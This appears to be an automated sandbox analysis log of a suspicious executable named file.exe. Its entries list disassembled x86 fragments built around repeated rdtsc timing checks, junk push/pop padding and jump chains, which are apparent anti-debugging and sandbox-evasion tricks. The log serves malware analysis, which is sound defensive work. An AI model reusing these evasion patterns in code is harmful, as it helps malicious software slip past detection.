Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190AD9 second address: 5190ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190ADF second address: 5190AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A072B second address: 51A0751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA8856h 0x00000009 popad 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ecx, edx 0x00000012 mov ecx, edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E05E3 second address: 51E05FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, dx 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6940DA84ECh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E05FA second address: 51E060C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA884Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E060C second address: 51E0610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0610 second address: 51E065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6940DA884Dh 0x00000011 xor eax, 14468126h 0x00000017 jmp 00007F6940DA8851h 0x0000001c popfd 0x0000001d push ecx 0x0000001e push ebx 0x0000001f pop eax 0x00000020 pop edx 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6940DA8855h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0E4B second address: 51B0E6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6940DA84EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0E6C second address: 51B0E85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 4Eh 0x00000005 mov si, 581Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov di, cx 0x00000013 mov ecx, 7F69CFE9h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0E85 second address: 51B0E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0E8B second address: 51B0E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0E8F second address: 51B0E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0E93 second address: 51B0ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F6940DA8853h 0x0000000f mov ebx, esi 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 jmp 00007F6940DA8852h 0x00000019 mov eax, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0ED0 second address: 51B0ED6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0ED6 second address: 51B0EF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8854h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0EF7 second address: 51B0EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0EFB second address: 51B0F01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0F01 second address: 51B0F33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d jmp 00007F6940DA84F0h 0x00000012 pop ebp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0F33 second address: 51B0F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519091E second address: 5190945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6940DA84EEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190945 second address: 5190956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190956 second address: 519095A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519095A second address: 5190960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190960 second address: 5190982 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6940DA84EDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190982 second address: 51909E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6940DA8857h 0x00000009 sub si, CC2Eh 0x0000000e jmp 00007F6940DA8859h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F6940DA8850h 0x0000001a and cx, 19A8h 0x0000001f jmp 00007F6940DA884Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 pop ebp 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0A80 second address: 51B0A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0A84 second address: 51B0A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0A88 second address: 51B0A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0A8E second address: 51B0A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA884Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0CF4 second address: 51B0CFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0CFA second address: 51B0CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0CFE second address: 51B0D37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F6940DA84F7h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6940DA84F5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0D37 second address: 51B0D3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0E3F second address: 51D0E45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0E45 second address: 51D0EDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F6940DA8851h 0x00000010 pushfd 0x00000011 jmp 00007F6940DA8850h 0x00000016 or ax, B278h 0x0000001b jmp 00007F6940DA884Bh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ecx 0x00000023 jmp 00007F6940DA8856h 0x00000028 mov eax, dword ptr [76FB65FCh] 0x0000002d jmp 00007F6940DA8850h 0x00000032 test eax, eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov cx, dx 0x0000003a call 00007F6940DA8859h 0x0000003f pop esi 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0EDC second address: 51D0F19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 mov bx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F69B2B0AF65h 0x00000011 jmp 00007F6940DA84F2h 0x00000016 mov ecx, eax 0x00000018 jmp 00007F6940DA84F0h 0x0000001d xor eax, dword ptr [ebp+08h] 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov ecx, edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0F19 second address: 51D0F27 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 mov ecx, 6D189327h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0F27 second address: 51D0F48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 and ecx, 1Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6940DA84F5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0F48 second address: 51D0F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0F4E second address: 51D0F52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0F52 second address: 51D0F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushfd 0x0000000d jmp 00007F6940DA8850h 0x00000012 add ax, A7E8h 0x00000017 jmp 00007F6940DA884Bh 0x0000001c popfd 0x0000001d pop esi 0x0000001e mov ecx, ebx 0x00000020 popad 0x00000021 leave 0x00000022 pushad 0x00000023 pushad 0x00000024 mov edi, 731A5EE2h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0F8E second address: 51E0032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov cl, bl 0x00000007 popad 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [01062014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F6944F593BFh 0x00000023 push FFFFFFFEh 0x00000025 pushad 0x00000026 mov dx, cx 0x00000029 popad 0x0000002a pop eax 0x0000002b jmp 00007F6940DA84EFh 0x00000030 ret 0x00000031 nop 0x00000032 push eax 0x00000033 call 00007F6944F6841Fh 0x00000038 mov edi, edi 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F6940DA84EBh 0x00000043 and eax, 35EEDD3Eh 0x00000049 jmp 00007F6940DA84F9h 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0032 second address: 51E008A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F6940DA884Ch 0x00000010 mov bx, ax 0x00000013 pop esi 0x00000014 mov ebx, 3D0562B2h 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push ebx 0x0000001e pop eax 0x0000001f pop edx 0x00000020 pushfd 0x00000021 jmp 00007F6940DA884Eh 0x00000026 add ecx, 706363C8h 0x0000002c jmp 00007F6940DA884Bh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E008A second address: 51E008E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E008E second address: 51E0094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0094 second address: 51E00B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6940DA84EAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E00B2 second address: 51E00C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180050 second address: 5180054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180054 second address: 5180058 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180058 second address: 518005E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518005E second address: 518007B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA8859h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518007B second address: 518007F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518007F second address: 51800A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F6940DA884Dh 0x0000000f and esp, FFFFFFF8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6940DA884Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800A8 second address: 51800AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800AE second address: 51800B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800B2 second address: 51800E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F6940DA84F4h 0x0000000e mov dword ptr [esp], ecx 0x00000011 jmp 00007F6940DA84F0h 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800E9 second address: 51800ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800ED second address: 51800F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800F3 second address: 5180120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8854h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6940DA884Bh 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop eax 0x00000015 mov esi, ebx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180120 second address: 518015D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6940DA84EDh 0x00000015 jmp 00007F6940DA84EBh 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518015D second address: 5180188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8854h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F6940DA884Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180188 second address: 518018D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518018D second address: 518021E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8857h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6940DA8859h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 pushfd 0x00000015 jmp 00007F6940DA8858h 0x0000001a sbb si, 57C8h 0x0000001f jmp 00007F6940DA884Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov esi, dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a jmp 00007F6940DA8854h 0x0000002f pushad 0x00000030 mov eax, 412D4627h 0x00000035 mov ecx, 071E1DC3h 0x0000003a popad 0x0000003b popad 0x0000003c xchg eax, edi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518021E second address: 5180224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180224 second address: 518022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518022A second address: 518022E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518022E second address: 5180232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180232 second address: 5180241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180241 second address: 518025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8858h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518025D second address: 518028B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F6940DA84F6h 0x0000000f test esi, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518028B second address: 518028F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518028F second address: 5180295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180295 second address: 518029B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518029B second address: 518029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518029F second address: 51802B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F69B2B56BB4h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov cl, A3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51802B2 second address: 5180370 instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F6940DA84F7h 0x0000000c popad 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 jmp 00007F6940DA84F6h 0x00000019 je 00007F69B2B56823h 0x0000001f pushad 0x00000020 mov bx, cx 0x00000023 popad 0x00000024 mov edx, dword ptr [esi+44h] 0x00000027 pushad 0x00000028 mov bx, D868h 0x0000002c jmp 00007F6940DA84F1h 0x00000031 popad 0x00000032 or edx, dword ptr [ebp+0Ch] 0x00000035 pushad 0x00000036 call 00007F6940DA84F3h 0x0000003b pop edx 0x0000003c popad 0x0000003d test edx, 61000000h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F6940DA84F7h 0x0000004c and cx, 51BEh 0x00000051 jmp 00007F6940DA84F9h 0x00000056 popfd 0x00000057 mov di, cx 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180370 second address: 51803C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6940DA8856h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F69B2B56B42h 0x00000011 pushad 0x00000012 mov dl, ah 0x00000014 mov dx, EC7Eh 0x00000018 popad 0x00000019 test byte ptr [esi+48h], 00000001h 0x0000001d jmp 00007F6940DA8855h 0x00000022 jne 00007F69B2B56B34h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6940DA884Dh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51707DB second address: 51707FF instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F6940DA84F5h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51707FF second address: 5170805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170805 second address: 5170817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170817 second address: 517081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517081B second address: 517082F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
